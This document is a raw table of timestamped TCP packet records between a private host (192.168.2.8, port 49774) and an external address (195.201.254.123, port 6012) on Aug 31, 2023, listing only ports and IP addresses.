Aug 31, 2023 16:50:49.543432951 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543464899 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543494940 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543495893 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543535948 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543560982 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543566942 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543600082 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543601036 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543627977 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543627977 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543649912 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543664932 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543694973 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543709993 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543720007 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543751955 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543772936 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543793917 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543818951 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543833017 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543864012 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543869972 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543903112 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543908119 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543937922 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543946028 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543968916 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543976068 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544006109 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544014931 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544034004 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544037104 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544058084 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544064045 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544095039 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544102907 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544121027 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544138908 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544164896 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544176102 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544198990 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544225931 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544240952 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544254065 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544284105 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544286966 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544311047 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544312954 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544332981 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544348955 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544375896 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544385910 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544413090 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544433117 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544456959 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544470072 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544496059 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544507027 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544529915 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544539928 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544569016 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544570923 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544598103 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544603109 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544636011 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544644117 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544661045 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544683933 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544703960 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544719934 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544749022 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544749022 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544778109 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544784069 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544806957 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544807911 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544830084 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544836998 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544867039 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544891119 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544891119 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544902086 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544924021 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544938087 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544969082 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.544972897 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.544995070 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545010090 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545036077 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545047045 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545084000 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545085907 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545104027 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545116901 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545145035 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545156002 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545176983 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545180082 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545202017 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545222044 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545244932 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545262098 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545284033 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545306921 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545341015 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545366049 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545366049 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545389891 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545389891 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545403957 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545418978 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545439005 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545464993 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545476913 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545499086 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545511961 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545540094 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545541048 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545569897 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545598030 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545631886 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545643091 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545643091 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545643091 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545671940 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545679092 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545696974 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545712948 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545742035 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545747995 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545768023 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545777082 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545805931 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545804977 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545830965 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545835972 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545859098 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545876026 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545903921 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545905113 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545929909 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545933008 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545962095 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.545964003 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545988083 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.545989990 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.546016932 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.546020031 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.546070099 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.546071053 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.546096087 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.546106100 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.546130896 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.546144962 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.546159983 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.546181917 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.546209097 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.546220064 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.546246052 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.546258926 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.546278954 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.546295881 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.546320915 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.546334028 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.546350002 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.546382904 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.546396971 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.546421051 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.546442986 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.546458960 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.546483994 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.546495914 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.546510935 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.546535015 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.546557903 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.546572924 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.546587944 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.546612024 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.546634912 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.546679020 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.567951918 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.568016052 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.568068027 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.568119049 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.568165064 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.568219900 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.568223000 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.568274975 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.568299055 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.568319082 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.568353891 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.568377972 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.568408966 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.568437099 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.568464041 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.568495035 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.568521023 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.568547010 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.568581104 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.568595886 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.568639040 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.568646908 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.568689108 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.568711042 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.568743944 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.568766117 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.568800926 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.568840027 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.568877935 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.568927050 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.568938971 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.568989038 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.568999052 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.569058895 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.569063902 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.569118023 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.569119930 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.569181919 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.569237947 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.569236040 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.569236040 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.569298983 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.569302082 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.569360971 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.569366932 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.569421053 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.569423914 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.569475889 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.569478035 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.569534063 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.569539070 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.569591999 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.569595098 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.569653988 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.569715023 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.569720984 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.569720984 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.569772005 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.569817066 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.569820881 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.569845915 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.569863081 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.569904089 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.569917917 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.569945097 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.569986105 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.569988012 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.570027113 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.570064068 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.570065975 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.570106983 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.570120096 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.570147991 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.570184946 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.570207119 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.570246935 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.570250988 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.570286989 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.570327044 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.570370913 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.570415974 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.570453882 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.570485115 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.570492983 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.570512056 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.570533991 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.570571899 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.570621967 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.570676088 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.570722103 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.570749044 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.570777893 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.570816994 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.570857048 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.570894957 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.570934057 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.570974112 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.571012974 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.571053028 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.571094036 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.571134090 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.571173906 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.571177006 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.571214914 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.571255922 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.571264982 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.571296930 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.571322918 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.571336985 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.571376085 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.571378946 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.571470022 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.592710018 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.592796087 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.592855930 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.592868090 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.592907906 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.592940092 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.592947960 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.593010902 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.593013048 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.593081951 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.593090057 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.593151093 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.593153954 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.593220949 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.593224049 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.593290091 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.593298912 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.593338966 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.593384981 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.593419075 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.593431950 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.593472958 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.593472958 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.593488932 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.593524933 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.593539000 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.593580961 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.593585014 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.593610048 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.593643904 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.593653917 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.593713045 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.593715906 CEST	49774	6012	192.168.2.8	195.201.254.123
